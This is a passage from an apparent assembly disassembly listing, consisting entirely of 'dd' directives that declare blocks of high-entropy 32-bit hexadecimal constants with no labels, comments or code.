		dd 82A85C23h, 597D3819h, 9885FD50h, 783BC1CBh, 3D099A98h
		dd 23D75804h, 681D963Ch, 0F0903848h, 729C3A8h, 969E688Ch
		dd 0E6843BD5h, 5CFC2B70h, 0A4F68AACh, 7010DB78h, 0F8886237h
		dd 70A4D60Ah, 52505CF8h, 361C1CA0h, 0AA89BA5Dh,	0E402B04Eh
		dd 5440B765h, 8C9CAB2h,	0EB5C017Ah, 305AFB83h, 63179862h
		dd 667C1638h, 50DD40A4h, 93476B12h, 70FDC00Dh, 402790D1h
		dd 4C6CB8D8h, 1B76248Eh, 3F5189F0h, 93BD4404h, 101B61B4h
		dd 0A4B86F6Bh, 0B0C06B8h, 2A705B49h, 4F08A663h,	0A4F030A8h
		dd 69E2EB08h, 932B1890h, 0FFC2743Ah, 0CA563864h, 40BA2B80h
		dd 2A500708h, 1F514A0h,	20992C96h, 34AE715Bh, 0F8AFBE30h
		dd 0BC2380A0h, 0C0B68C33h, 85244B70h, 6F1854ABh, 8077EB08h
		dd 89487F8Bh, 96FE18F4h, 0E99A9878h, 0A05472F8h, 0C6BC73F8h
		dd 8091598h, 9406D128h,	0D5CF64Ch, 10CD6FCBh, 4098CFE5h
		dd 2EBD084h, 0BD48C163h, 44283AC2h, 29643640h, 0C1F8F08h
		dd 0CF282DEFh, 63D42E50h, 0B32B08CEh, 0F30E8446h, 0F4133720h
		dd 28D69638h, 18768532h, 742C6969h, 490B0C30h, 0D231E409h
		dd 4097AB08h, 1ECD2BE4h, 844F8CCh, 8B59406Bh, 8DF87354h
		dd 373150B2h, 0A7E320A5h, 0CC44103h, 4083193Ah,	0D0A2DEA9h
		dd 4B28BC0Ch, 40C679B0h, 3368673Bh, 0AD106A10h,	0E3BF191Bh
		dd 8B100C91h, 0A598110Dh, 0D6CB28C3h, 313818F8h, 0E18908FAh
		dd 0E41918DCh, 1437BB30h, 7F1138D4h, 8096CF63h,	27D509FCh
		dd 0D48C39ADh, 351E9C3Ch, 140871B6h, 0AC75E088h, 658A61BDh
		dd 81B5A0C3h, 6195F0FFh, 3BD5101Ah, 1C15F001h, 8349F580h
		dd 90DDEFA1h, 0D50C9430h, 0F2487716h, 0D1408CF5h, 0C3283878h
		dd 0B527508h, 701E1831h, 11904E35h, 5C151C08h, 39F03020h
		dd 75941E20h, 0CE89F500h, 447DFC83h, 2DF400B6h,	161593A5h
		dd 8E3BC197h, 28BA802Ah, 6084D374h, 0B5F8C358h,	8019EB0h
		dd 348CB4E5h, 3001B320h, 0D4F89413h, 763C7484h,	0F551BD7h
		dd 2A28E3D8h, 3D889609h, 35949534h, 24B04468h, 0CD22C21Dh
		dd 40774030h, 8C903E02h, 83FE0214h, 37E565B8h, 0C28817E0h
		dd 87039E1Dh, 36A81E85h, 0F2950747h, 9315C1EDh,	468447F4h
		dd 2B6D900Ah, 881B3088h, 2CBA010Ah, 65A04044h, 54128C8Fh
		dd 80A1694h, 0B50AAC23h, 52786885h, 80078EDFh, 0B48CA1BDh
		dd 2BB81CD6h, 4C24A381h, 0C3471990h, 18A3E010h,	9450AE34h
		dd 908350BDh, 0B8DB507Bh, 0F5F0C37Eh, 0F824B3E2h, 23923015h
		dd 141B087Ch, 824CB2Bh,	140C0502h, 84A26125h, 20B49541h
		dd 78681A03h, 36B9D7EEh, 0E03037F0h, 0A7603885h, 29D2079h
		dd 0C084D491h, 0D8BC9462h, 8B46AA06h, 24308D5Eh, 0F8342A20h
		dd 0CB1B5742h, 8230A385h, 83889F1Dh, 359AC77Fh,	7024D5C3h
		dd 0E5F9041Dh, 8B96E8h,	7CCE76D3h, 70EB165Bh, 81096961h
		dd 0C1EFD168h, 2C60B5EFh, 0D62D00EEh, 0FBA4F0C4h, 27309650h
		dd 0E9EC305Ch, 0A138C06Ah, 0C7B5909Bh, 0AD000CFEh, 4B1163B4h
		dd 1D60936h, 8103ABA5h,	706DB70Dh, 700DF30Eh, 410C64CBh
		dd 58E84BDCh, 0FD071476h, 0B1960474h, 0F04CFF68h, 9C000839h
		dd 0D7987C2Dh, 38063187h, 78F553Fh, 0F0603209h,	89EF5F8h
		dd 0FBBB993Ch, 278CE400h, 0E604A9A6h, 0E05D0012h, 0AB5735C6h
		dd 0A50C8389h, 81EC03B3h, 6EEA0087h, 71A3D759h,	3F1E4273h
		dd 3AC0E319h, 0FC3BD15Ch, 369E036Fh, 0D80111ABh, 9BFD3900h
		dd 43282C2Bh, 19DB0040h, 67D4A182h, 701F8BEDh, 54C003E3h
		dd 0BB1657D2h, 144E2884h, 30247478h, 4C1017FAh,	530018DAh
		dd 948A1DEEh, 1321EF5h,	0D1E831FCh, 504B8302h, 0A19F4FD4h
		dd 3278D503h, 0E0193771h, 0F63775Bh, 0C4EA9C6h,	41DE3FC1h
		dd 0CF2BC0F3h, 0C439BB00h
		dd 75700704h, 0E0223B4Bh, 0E9DE6D80h, 0E7525F8Ah, 91C87800h
		dd 0B4571F10h, 0B93900FDh, 7149D2B6h, 0D70F699Dh, 3BC483Ch
		dd 87AA67h, 90B53B58h, 0B91BEBEDh, 30BB1437h, 0F975ADC0h
		dd 1BA47F76h, 38FA65B7h, 0EB2A5DE0h, 820003FAh,	5566C0E9h
		dd 6F0ADC5h, 6768C625h,	9D0028B7h, 83CB4179h, 77477C9h
		dd 0FF9BD5DCh, 0ED974036h, 0FC00A7C0h, 0C3B6FBCDh, 0F6B3921h
		dd 5F33DA42h, 0D8F30F5Fh, 1A73CBA0h, 32029C2Dh,	907E1B13h
		dd 0DA88A386h, 0D20800C8h, 15773B58h, 0EF00C27Ch, 0BC08CBB4h
		dd 9DBAB7h, 8206DC25h, 0C5D591FDh, 0F68EC02h, 43E627E5h
		dd 0FF36AB21h, 0F0B7F621h, 6BCCC8h, 1D3F2997h, 0FDBB7FB5h
		dd 0D0552714h, 0F85158Ch, 31A90084h, 9F16E1EDh,	14011DC5h
		dd 8E1E81A2h, 941F7576h, 9E045710h, 10C3B9CCh, 0FE6F009Fh
		dd 0FF52B791h, 51E0DF6Eh, 55E75600h, 0D38FACB2h, 7DB100E1h
		dd 0B8A6A250h, 0A130B352h, 3CDC28E0h, 0D5CB80CFh, 28419789h
		dd 42178A37h, 87045490h, 0B41F6120h, 0C08BEB80h, 0D0CE8228h
		dd 0CD006C3Eh, 1598BC71h, 1E17701h, 2FD23BA1h, 307938DDh
		dd 483C6E0Bh, 8761B922h, 8C7EA7CAh, 119C5CE0h, 8A665CBEh
		dd 48BCB303h, 86C0174Ch, 40008055h, 0A71BA996h,	7E5F264h
		dd 0BA9C61AAh, 8AEF0ABh, 0D8729814h, 3B7C883Ch,	0CE7A9E93h
		dd 4B7BD080h, 22E75Eh, 2A2E1AA0h, 543D02BDh, 1D47EE39h
		dd 80FA48B6h, 0E81D37CAh, 0AB7543h, 0F3C39A6Fh,	40E7BB58h
		dd 8C1ED600h, 838BD170h, 0F63A0039h, 0D090AB02h, 7B013692h
		dd 0D66A2DE3h, 0D0408B09h, 0FD3879h, 2BB6930h, 89CC7B37h
		dd 70AF0405h, 7B816DB0h, 92EC4B7Ch, 0A8F500C3h,	58EF0264h
		dd 8100C6DBh, 0C80655F9h, 193CCB6h, 0AC37BD11h,	0C8F35617h
		dd 9A00CDBBh, 7C5B08F9h, 0F289B33h, 0B111CC26h,	87A55E84h
		dd 4517A018h, 483A4421h, 24865C7Bh, 2500EE62h, 0A4997AE4h
		dd 74C0057h, 826EFE1h, 0F71F8CDBh, 0FDC0793Fh, 14419790h
		dd 0B95A0A8Dh, 0A9A66Ch, 2DBC313Ah, 911E8477h, 0DC5C36CAh
		dd 0E6C4C500h, 1EB98257h, 0D46AE1AFh, 1E03A403h, 91425DCAh
		dd 0C299E9E8h, 0E875C8E1h, 0DA498607h, 0C330D15Bh, 939516Dh
		dd 4C388993h, 0AF52AE84h, 8D155700h, 2F547Ch, 0E36DE1Fh
		dd 208B1AF2h, 0BD0CB170h, 48D4C71Ch, 84750181h,	0CE6B48ADh
		dd 6D9C2447h, 300D5ECh,	96ED3F78h, 5C758F53h, 0D1074ABFh
		dd 60378DA3h, 0D2D61CDDh, 0D5175600h, 0FE2EC943h, 0C78203D3h
		dd 24DC5B9Eh, 5022E800h, 87275908h, 7120001Eh, 0E7D692B2h
		dd 9400E0F2h, 0C399A04Ch, 0C08007D3h, 132C698Ch, 0C848A230h
		dd 0D95503F4h, 0A8023F83h, 45C7B7h, 25D8244Ah, 20FF13DBh
		dd 0CF488207h, 0C212A0DDh, 8755600Dh, 99C5008Bh, 16915EEFh
		dd 0ED0F6F76h, 71FB10h,	889C0D0h, 0B319001Eh, 4E942546h
		dd 0D4001BF5h, 24BCCDDDh, 9D5BC6h, 28A9AF7h, 0EE415450h
		dd 0DDF2000h, 33C247B9h, 1C01EEB6h, 541E362Ch, 0B01E5F3h
		dd 0D2EC9CAEh, 0B20FD43Fh, 90BAEF30h, 7DE39281h, 0E07000C4h
		dd 2DC5031Bh, 1800EC5Fh, 7C327E19h, 52740Ah, 4BD9FE41h
		dd 84518C17h, 1D3D6700h, 8BA609EAh, 0D69075h, 352DD881h
		dd 8AEB7052h, 9A9C7307h, 4AF54BD3h, 0AF80A087h,	0F07A6F5Eh
		dd 7F780076h, 39A27BEFh, 88009B1Ch, 4CC955A3h, 9C1896h
		dd 9E2371C3h, 54A9EE15h, 1B3D6E00h, 0FBE2B62Ch,	44400026h
		dd 0CEEB7439h, 280EE48Ah, 0A3F885h, 3EB40605h, 0A56F000Eh
		dd 0A9A24C1h, 4200132Eh, 104E81E5h, 6FD09h, 0F8AE49CEh
		dd 3633DD04h, 0CC6D750Eh, 3F5AC05Ch, 0A04F63h, 0F4B91696h
		dd 44B12D67h, 0DDC8F807h, 41010420h, 10F49F4Ch,	5A7300A0h
		dd 40B2F596h, 5B0FDD39h, 279C757h, 5D2CBAC5h, 9B61C9E0h
		dd 0F9568C00h, 354F3170h, 0FF87DCFh, 9F740CCh, 8FFB1C00h
		dd 4C00CA85h, 4ADCA30Ah, 1D1915Fh, 0AB63E6D2h, 0D8FCE857h
		dd 30000E0Fh, 1FA048F5h, 8DD7C1h, 2A4D4782h, 0CF77B6F0h
		dd 0B2853000h, 5AE6885Dh, 0F347FC7h, 630A3642h,	53AE3260h
		dd 99E25BB1h, 34446500h, 5F9A2BF9h, 95B2005Ch, 0DA4B40A6h
		dd 6800E55Ah, 11DBCC2Ch, 3AEB152Dh, 3A806B9Bh, 0C4EE1450h
		dd 2B133739h, 0C901D67Dh, 687491F1h, 2140B080h,	0E2EDC61Fh
		dd 30C32F2Eh, 0E9038413h, 0C8F75043h, 31A381h, 0B4B04486h
		dd 7E4CCC9Ah, 1447171Ch, 0A5B7C880h, 1C27DCh, 81686C4Fh
		dd 0D7D210C0h, 0A073E201h, 93E3F27Eh, 165CF0h, 5B8D8231h
		dd 888EA9Bh, 4E2D8B00h,	5A44C941h, 4C431C50h, 17FE4035h
		dd 7E450A53h, 0D4DF7200h, 868DC7F0h, 0E6B70082h, 88CB6F69h
		dd 0F6008391h, 6B7E2604h, 0E0C828h, 378EBA44h, 5F5C9CDFh
		dd 4357DC00h, 8412369Fh, 0D6BC00BFh, 0F17F0552h, 0FF00AC04h
		dd 0A37B0288h, 15871ECh, 0DDBE5E0Dh, 0F00C4131h, 0BB04B806h
		dd 68D33E64h, 0CB5964C0h, 954FE61Bh, 0F2A855C0h, 0FFF60C00h
		dd 0DCFA781Dh, 5D1C0047h, 2F628DCAh, 59010A93h,	7C1A8FB2h
		dd 73131F9h, 0FD49FD8h,	9D7DC998h, 818CE7E0h, 3400F851h
		dd 551842D7h, 6B3D5Ch, 0A7F4F0B3h, 0FCBA4D90h, 0F1744403h
		dd 0B8112494h, 1FF8084Eh, 3B5A828h, 975B4346h, 834F3CE0h
		dd 0C19FD00h, 0BA4D429h, 52EA0016h, 3903DB5Fh, 9F98E41Eh
		dd 1D7D2E07h, 0C4B54493h, 0BED65880h, 3F6E4B6h,	0B0521EB2h
		dd 41F8D99Bh, 8B24063Ch, 0F38E7030h, 4DA66050h,	376550Ch
		dd 0E5F93152h, 0E90DAEBh, 8D0091D7h, 3BE741FFh,	261D98C4h
		dd 352A9Bh, 0F4BFCFA1h,	0E000880Bh, 0DF564273h,	32C1D9h
		dd 119282E4h, 5A355178h, 1A0014B8h, 0ED01FB0Ch,	2807EFh
		dd 0BD580393h, 0AE66D565h, 0C0BE3600h, 0E4157C2Ch, 5C1FE027h
		dd 0D00315B3h, 0D52A89C8h, 0BAA58FA0h, 9D1D74ECh, 0A1801E34h
		dd 211D6EC4h, 659600F1h, 400C8101h, 5D00F378h, 12423277h
		dd 0EAA439C7h, 1984098Ah, 0DC87C831h, 0F89F808Fh, 0BB1D4483h
		dd 3A414A32h, 2C996049h, 0FCF1C8D0h, 4CF20089h,	0B9EF47A5h
		dd 8B004387h, 0F323A738h, 11239F0h, 0CDB22277h,	0DCB48092h
		dd 28378597h, 0A9002025h, 840C1Dh, 2E994B23h, 6F67AE11h
		dd 0E69CEB1Dh, 0F812BF00h, 0EA974B2h, 0CACF3BF0h, 0B3E7C09Eh
		dd 32A4634Eh, 8E36DB00h, 667782D8h, 9B9800BCh, 0CAA91593h
		dd 0AD0939D2h, 11BE3h, 6472A34Ch, 14363105h, 0E07B1320h
		dd 31003968h, 0A4E177Fh, 0C95ED20h, 0A985B67Eh,	6B7EC049h
		dd 0A4A1DA00h, 58DC6581h, 0A0F63D97h, 859A5483h, 40008233h
		dd 0DC59209Eh, 1CBB93DAh, 7A4F9C5Dh, 0EDBEEB80h, 1AF6E49Dh
		dd 3153B0C0h, 0AFD0A2h,	121FB9A3h, 6D3CE0BAh, 80562300h
		dd 0C4AEC1F0h, 833F00FEh, 0C31B0DAAh, 16021D01h, 4A97AC4Eh
		dd 0A6A48009h, 25BF7Dh,	538CAED4h, 49F9B907h, 0C96CAB00h
		dd 0C495CAACh, 0AF933A9Ch, 617916h, 0BE4163F8h,	0BD00472Ch
		dd 739B3523h, 34198Ah, 0D8C24EEEh, 0AD33B645h, 128CF801h
		dd 243ADABBh, 3632DE8h,	9F4DCAB3h, 49D04C6Ch, 3AE62331h
		dd 0D162800h, 0D6073BEAh, 0E21704BAh, 90CBB702h, 0AD9FAA18h
		dd 0FE7219B0h, 0C3A5B101h, 91807D7Bh, 0B303FD5h, 96DE004Fh
		dd 0D971864Eh, 940360A6h, 0F27D343Bh, 37CFE072h, 0B7280079h
		dd 0F33C925h, 0FB00A526h, 0B1920843h, 463D932h,	8040AAE6h
		dd 0A67080F1h, 0F400061Dh
		dd 0D523ECFDh, 0AD6C1Bh, 48D27CD6h, 7684D7F9h, 8E6D1800h
		dd 70BB7B21h, 0CC3200A7h, 0C25AC0EEh, 8974415Eh, 8F00F7EEh
		dd 0A67F7EE0h, 3F5B5DCh, 0CFCA4BAFh, 3BC91280h,	0CD9FCD3h
		dd 0ED083200h, 681906D6h, 0E2E40047h, 0FBFDE953h, 0F4E1B8A8h
		dd 3474813Dh, 0CB9BB900h, 6F1074FCh, 66A6004Bh,	32464FB3h
		dd 0A8052945h, 8AFC71BFh, 0DCFEC0FBh, 0A3005462h, 0C77AE183h
		dd 45B7C4h, 122DC8BCh, 87883998h, 0F509D3EEh, 0E81B06h
		dd 96BB6D24h, 59AA0009h, 63A1FFB3h, 0E103B63Dh,	0F9FEF2CCh
		dd 84CD00Fh, 682B001Bh,	0D7B59C9Eh, 0A8A0E8F7h,	0B3207FE2h
		dd 0DC53098Eh, 0E8807E86h, 4A81027h, 3A565904h,	0C2864677h
		dd 35FA0018h, 7F518D0h,	40CEE868h, 0EA82C01Dh, 30AAD40Dh
		dd 0C7591FCEh, 0E776659Ch, 6A00A190h, 0E90514F1h, 0ECE8E6AFh
		dd 8BE279h, 3082B4C8h, 17271824h, 0A0E44F00h, 0D9EBA4FEh
		dd 0CD1A0038h, 914AC9F5h, 0DE5AA658h, 5B0041B8h, 0BC67A7EDh
		dd 98005E96h, 2328B7C0h, 0A0063AD7h, 0B32A95h, 78A84D07h
		dd 63185825h, 0CD45CB00h, 0EEB68310h, 0BBC11343h, 0D4F307D3h
		dd 3F7820EDh, 0BE12E37Ah, 3600677Eh, 0CE407C32h, 0A9C2007Dh
		dd 5E2190Ch, 0C501265Ch, 0E7201E98h, 2DC49414h,	0C89A0Eh
		dd 0F9122C04h, 5FFC8B62h, 3E0FB103h, 0D0CDE77Ah, 765A56h
		dd 0F2F04D17h, 5159E6Eh, 1F003BE4h, 0E1D3938Ch,	4D5189h
		dd 26B783ABh, 6AF02F27h, 48B62500h, 0B35C1CCCh,	46560ACh
		dd 0F54EFECBh, 8113E800h, 2CEBB92Fh, 5C2E768Fh,	0E103354Ch
		dd 0DA94D203h, 0D0E591F1h, 7800439Fh, 4E140B06h, 13D2512h
		dd 17302141h, 809E3267h, 79420518h, 940D9Dh, 0B448E95Ch
		dd 0D4B03AB7h, 0C612C21Ch, 80572B09h, 4A39884Ah, 0A83F00B3h
		dd 0DC5AC8D2h, 20166B5Bh, 78A078F3h, 9C3700EEh,	0CE2DE9E0h
		dd 8A00D865h, 8849A655h, 0FE6C274Dh, 0FBC00101h, 0FFF0C62Fh
		dd 963E8CE5h, 0EF1030h,	4423F255h, 51B2CD17h, 6A094AB0h
		dd 0FD9DE233h, 1E9F6C00h, 520056F3h, 0EC49E398h, 1D3953F0h
		dd 400E687Ah, 0EB16117Eh, 0AE001F7Ch, 54D16143h, 0B476ACh
		dd 0A7298E93h, 85319B11h, 39EA4400h, 78E3A449h,	7C99B2h
		dd 47D4C226h, 42008261h, 13FE94ABh, 7F35E4Eh, 0C13EDEFBh
		dd 8BA4B334h, 121449A8h, 0A5273B03h, 0F02A0AADh, 364E07h
		dd 0DF3F182Fh, 9EF9892Dh, 947D1C00h, 0A2CD4D54h, 1D370561h
		dd 8040289Dh, 0EE5F0420h, 5BE35300h, 3F10B50Ch,	0AA4500CAh
		dd 1B7B93CCh, 6800BED9h, 0A848C637h, 13CA59DFh,	3621407h
		dd 9E0A9F5Ah, 7275E598h, 2B807B00h, 6061E76Ah, 437901CFh
		dd 73D4D0E8h, 2F5C61C0h, 185FBF80h, 3DF3E65h, 0B4D91F87h
		dd 59642013h, 87506A70h, 62003EE0h, 8077670Ch, 98062994h
		dd 24280008h, 0C621F2DEh, 36E08F1Eh, 0C8E53826h, 0C711D100h
		dd 793A9F89h, 64F8DEEFh, 0AF900D3h, 0EC3533ACh,	1F884F8h
		dd 0B036AF07h, 21D08506h, 0FFC93Bh, 66B74415h, 0E08097E6h
		dd 65499D07h, 0AE53DB28h, 7137A8A8h, 2F1200CBh,	7DCA6E1Ch
		dd 0A9006CA4h, 0FC0EDDDFh, 0FA021B4h, 0E3B1F128h, 0BFEAE0C3h
		dd 16048BB8h, 58006848h, 1B300018h, 0C9BAE82Dh,	0F74900B2h
		dd 1098C8BFh, 1300EF36h, 57F41DB8h, 2C1A32D5h, 7E42759h
		dd 102E77A7h, 3BD88BE0h, 45FB1618h, 0F6EC2F50h,	0F1C30BA7h
		dd 6F076C58h, 93ABD04Fh, 9E76043Ch, 5E2828C3h, 0A620EFCEh
		dd 749D6E0Eh, 2B460021h, 5CAAFF8Dh, 0D026B484h,	0DD00245Ah
		dd 0F99EA6CBh, 0D3A2045Dh, 8535BB39h, 0E140018Ch, 60321F83h
		dd 0E91D67F2h, 7E00BD92h, 77078148h, 0EDE0005h,	0F3F015CEh
		dd 0B4732376h, 0C80028DFh, 2AF7CB3h, 65F604B6h,	85E6E7E1h
		dd 5FCA0F4Fh, 34A005C9h, 0DA88F216h, 0E2E86600h, 0B71C8CAh
		dd 0D6800F83h, 926E247Ah, 0D28DE900h, 0B900B0CBh, 0AFFB9EE7h
		dd 752BDEF7h, 5F9A7055h, 5481E0F5h, 3C800200h, 1CF0B87Ah
		dd 93EA0E74h, 0A1E07C39h, 0D544DB16h, 2650701h,	0B714BBC5h
		dd 5A1CB6CCh, 0D0B7019Bh, 0E04C410Eh, 8D03FE7Eh, 6B753525h
		dd 0BFA0A104h, 71D73170h, 7EE50007h, 4F4A7D2Ch,	0E1009817h
		dd 95704B10h, 4CA18EAEh, 1181DCBh, 2EDFF8B7h, 0BE853Bh
		dd 78FC14ADh, 7499DCh, 3455123Eh, 15927752h, 686D7500h
		dd 261B2182h, 0B869753Fh, 0E0340050h, 759E8841h, 1206D809h
		dd 0A3818DAEh, 0DDE50011h, 86518E59h, 44007E84h, 58D149A7h
		dd 0E8299E2Fh, 16082867h, 6BDB05F0h, 0C09CEA69h, 8F97B19Dh
		dd 852AA900h, 58C5A139h, 0AB7009Bh, 8D43FCF5h, 3CECAEA5h
		dd 0B0821F00h, 3115561Bh, 54E70EC9h, 0EBE0D9D3h, 83B65558h
		dd 8824FE98h, 0B41F4811h, 46F22F40h, 0F40206h, 51949584h
		dd 9A0CB7F3h, 0B5C72700h, 8B0503B9h, 102830A6h,	629CFF38h
		dd 0B2C94E8h, 0C100A8A0h, 2827AF50h, 7A2A0058h,	0E69DE1DFh
		dd 51723DD1h, 1D2E7C00h, 0F7D508CEh, 8236E87h, 8F6D3FE0h
		dd 420385EEh, 0C0191669h, 0B770C726h, 7402A2ACh, 0C3B600FAh
		dd 3EB2700Bh, 615049A0h, 53E818E1h, 482AD748h, 0C3C00044h
		dd 594439FBh, 0C93401E8h, 401A22B1h, 0F52BF435h, 6CA9BD00h
		dd 0E19884Fh, 6744001Fh, 0D2451E3Ch, 9638D97Eh,	0A87601CFh
		dd 0F631540Fh, 8E854481h, 0F058052Eh, 0B900E1E9h, 6E394782h
		dd 3CEF42Ah, 8C0BF204h,	70DA3BF0h, 0CF710C8h, 0E0406FAh
		dd 9F273786h, 0C69E6880h, 0CF760784h, 0B0EE03C9h, 488667A4h
		dd 8074B139h, 0F35D7F8Dh, 2655C24Dh, 0C8D4h, 0BD06471Ch
		dd 0ED5CA419h, 5DD20093h, 0AFD7893Bh, 0FC900097h, 3C8552E7h
		dd 0D30096D0h, 4FB8A7Ah, 2FFA253h, 80F6E492h, 9C603E78h
		dd 0D13A6A26h, 0A6849ECDh, 1A6CF800h, 22946B9h,	3AA0B669h
		dd 14707F85h, 9A7ADB02h, 81F6C221h, 0DEB106F0h,	5FBCB000h
		dd 1F408B00h, 49D482CDh, 0ED0C0363h, 81B3ECF6h,	19FFA980h
		dd 0E9BB7000h, 601DDE0Fh, 3F0701E2h, 22FA0E79h,	30C020BFh
		dd 259C811Ch, 0F64FE8Bh, 8B8D4009h, 242238h, 6E7EF0BBh
		dd 335EDB56h, 3B47E000h, 0A2924B88h, 3CFB009Ah,	1C604DF1h
		dd 8B13E736h, 0F907B9D7h, 64307D8Fh, 3AA030C3h,	0F000B31Dh
		dd 5BEE8CC2h, 0D8A8B5B4h, 0E802A38Fh, 6C9E76EDh, 0B5E0981Ch
		dd 0B631002Ah, 4C081602h, 6C7DA234h, 1456D201h,	0DFBE2554h
		dd 497EF297h, 90426D48h, 9305D820h, 40826171h, 39BBC6B3h
		dd 0C8825215h, 0CE6C9411h, 0E5050878h, 8DC5EB05h, 19911CD0h
		dd 90B650F6h, 390B48A0h, 1AADF800h, 0EF7B7077h,	57DEC803h
		dd 80C399D4h, 1EC89B0h,	7A4E6E98h, 0D424E0A3h, 0B22666A7h
		dd 5E001E46h, 0BA9BC971h, 0F5E3008Fh, 0FF59ED6Bh, 0DA00B601h
		dd 841788BEh, 0F76D1C9h, 9D2F1009h, 506AAB00h, 970037C1h
		dd 244E5729h, 0CD2BEAh,	0C86973B5h, 0F8ED74FCh,	42D4A924h
		dd 0EE139504h, 0F5326C0h, 6BE60060h, 41F78637h,	35917D8h
		dd 0C8C20064h, 7173DE57h, 0ADCE0070h, 0FD6444D4h, 301E7616h
		dd 4B07B78Ch, 0FA301EACh, 302352D5h, 0E1198A0h,	0DA01E7E9h
		dd 116AD194h, 8FDAD59Eh, 0DB3F60E8h, 1526EFB3h,	0F403C338h
		dd 0A1BFB900h, 0A311EEE8h, 284EBD0Eh, 1E9D818Eh, 99813B4Fh
		dd 4885055Fh, 0A040E014h, 79AEEA12h, 31C7121Eh,	1C0622A5h
		dd 0C5F0C18h, 813817A2h, 83F97900h, 0ED56E749h,	132743Ah
		dd 0AD7F298Dh, 0CFA3B841h
		dd 743DD4B0h, 900F2F0h,	0BE1F5214h, 139F9C73h, 6281317h
		dd 81B23659h, 795200E5h, 0F63019D3h, 7C4C9C0h, 1DA3E480h
		dd 0C2CB0039h, 6BBF6917h, 450FF283h, 274C40Ch, 60A463C3h
		dd 0DA96DDh, 0E209F05Fh, 0DEC61BBDh, 0BAA0951Eh, 0ACD96880h
		dd 0F034E0Bh, 0B0FBA3E1h, 7022407Fh, 0D353E764h, 2821BC03h
		dd 0C9FEB124h, 3E704DB9h, 7032021Ah, 0E2CABA46h, 8534C860h
		dd 6F0C2F0Eh, 864700A3h, 1F3A50A6h, 0E2307Dh, 5F90D4BFh
		dd 5C0187B0h, 29D9E1F9h, 0C050CAEFh, 8E7D21h, 3DD3ABC7h
		dd 0CB4B076Dh, 394AEC15h, 0EA651DE4h, 0D0A17DDh, 0EC86C0BFh
		dd 213C31h, 0D638E182h,	16F4E4EEh, 0BCF26503h, 18F72FC6h
		dd 39B81741h, 44005B0Bh, 6A4B507Dh, 789A3Fh, 1447CE7Fh
		dd 5E31815Fh, 0BB99E00h, 0B51DD24Bh, 2BC50124h,	3796135h
		dd 2D2C303Ch, 5322AF0Eh, 0A1E9E027h, 0C4F4E89h,	163AF8E2h
		dd 51DCDD9h, 0B1000B84h, 3FE569FDh, 23BF00B5h, 753A55E0h
		dd 63F40622h, 0BEBB603h, 0A250DA84h, 0E61B6099h, 0F6CBEAA6h
		dd 823F0078h, 7F2D5130h, 0C81EABC2h, 0A603F738h, 468D14F4h
		dd 0BF810411h, 0F0DBF272h, 1B007DB6h, 0DA18D565h, 3C2829h
		dd 3D75A79Eh, 5768315Bh, 9CB59D1Dh, 0DDE97242h,	44DEC142h
		dd 5872920h, 4805D1A7h,	9918C0CEh, 0BD0022D7h, 0FA077829h
		dd 0DAE0E2h, 43F270E8h,	0FCE657C0h, 667C3800h, 0D4FB5120h
		dd 0A2AB008Dh, 0CFF85AB2h, 0AD07D285h, 487F245Bh, 927632A0h
		dd 0A2DB03F5h, 0EFD52005h, 6197CDC8h, 7487C00h,	0E1B72F16h
		dd 626400D3h, 301550C2h, 0C55C98AEh, 5C2B0077h,	1D1E6559h
		dd 86AD0181h, 84C9BA67h, 8ACD20B9h, 1FEB7503h, 0A060DDF4h
		dd 0F635F9h, 814D45F0h,	0F8BC8F6Ah, 99583Eh, 0DEB8C1Ch
		dd 0E86BFFBh, 0A0FE1D98h, 0B00FE340h, 43006282h, 5A509DD0h
		dd 658904h, 1C88ECFh, 5580DAE1h, 0D71D52FAh, 0B040C35Fh
		dd 99F87369h, 7EAE003Eh, 0F2710A1Dh, 79001538h,	318E2944h
		dd 43359Ah, 0AB596086h,	3340D480h, 0CA0E7000h, 0BA4FF1C6h
		dd 23910055h, 46F5C42h,	0AD1E4DA4h, 0DCA43DCh, 0EC40FC45h
		dd 0C3B7FCh, 0D79717CDh, 5E1F4F3Fh, 0B2691D00h,	31A113D6h
		dd 83C00004h, 4C985DA5h, 0DC00C6EAh, 238C382Bh,	177496ADh
		dd 6BD706h, 77F5CD4Ah, 13032C14h, 0DBDC89E0h, 431CC078h
		dd 0ABF800CEh, 0AEC1EF0Eh, 44007EE8h, 0EA763D61h, 547F04h
		dd 7AA81227h, 1B984E56h, 77CECD00h, 7128CC44h, 1DD60064h
		dd 3778F05Dh, 981E071Ah, 0B080E1C8h, 0B1336B4Eh, 0F0A0061h
		dd 0ECF4D23Ch, 9D0018A1h, 38E4CFCCh, 0EC78A51Fh, 42A40093h
		dd 0AD75B05Ah, 0F8758036h, 0BDFF9000h, 56B1E9AFh, 4CF000D8h
		dd 849A320Ah, 0D0E5A04Dh, 5F003814h, 0D07B45CBh, 268760D8h
		dd 0C18326h, 40535CAFh,	0B000A4ECh, 2744B3F9h, 3A60C421h
		dd 0F962CEh, 6C0EA064h,	0A8689E7Bh, 9842510Fh, 945FA09Ch
		dd 0E515CA26h, 9E4B5080h, 0B13AA87Dh, 5CC8A200h, 429CE191h
		dd 2CB0659h, 6A30D2E7h,	392B2A01h, 9683AC1Fh, 749D6D8h
		dd 16F5DBEDh, 4E295048h, 8E001F0Ch, 93B1888Ah, 0A277C1h
		dd 0AF383D84h, 19792368h, 2ADBD600h, 1F9840FCh,	0DE15610Eh
		dd 603B2720h, 190089D7h, 2EC976CFh, 1E0E86Eh, 29308AEBh
		dd 40C73B93h, 4DFB5CC4h, 0F8C29900h, 927217A0h,	48D0C09Ch
		dd 0BA75AE21h, 0AA93FD00h, 961CD8F7h, 0F5AF0008h, 0C30477A2h
		dd 15F051EAh, 9D939A00h, 0A6AC6A29h, 0AE122E25h, 154D1D09h
		dd 2D03B8D1h, 4564C3A2h, 0FAABB008h, 0C0F81D5Fh, 5DF7964Ah
		dd 0DE38330Ch, 0CE90831Dh, 0D188EF2Ah, 0AF85EDCh, 0E7A9A014h
		dd 8911072Fh, 0A0E32995h, 65E0BF81h, 97A7C700h,	68D0CE52h
		dd 0A0895032h, 93340090h, 0D253AAC6h, 0E9E844A3h, 26C86703h
		dd 0F6A64820h, 0D7C13EA0h, 12345616h, 2BA30184h, 0ECA14AF8h
		dd 0A43A2C8Dh, 98007BB7h, 18C56867h, 7D339BEAh,	23731CCCh
		dd 96C700F4h, 698E306Fh, 0CF000472h, 73ABFDBFh,	7C0C9B2h
		dd 1C3D5597h, 0F32B106Fh, 8C005119h, 0F03459A6h, 7E06E4h
		dd 6C7CC0DAh, 0AA95B87Dh, 483348h, 0DFA7F787h, 1D6D96Bh
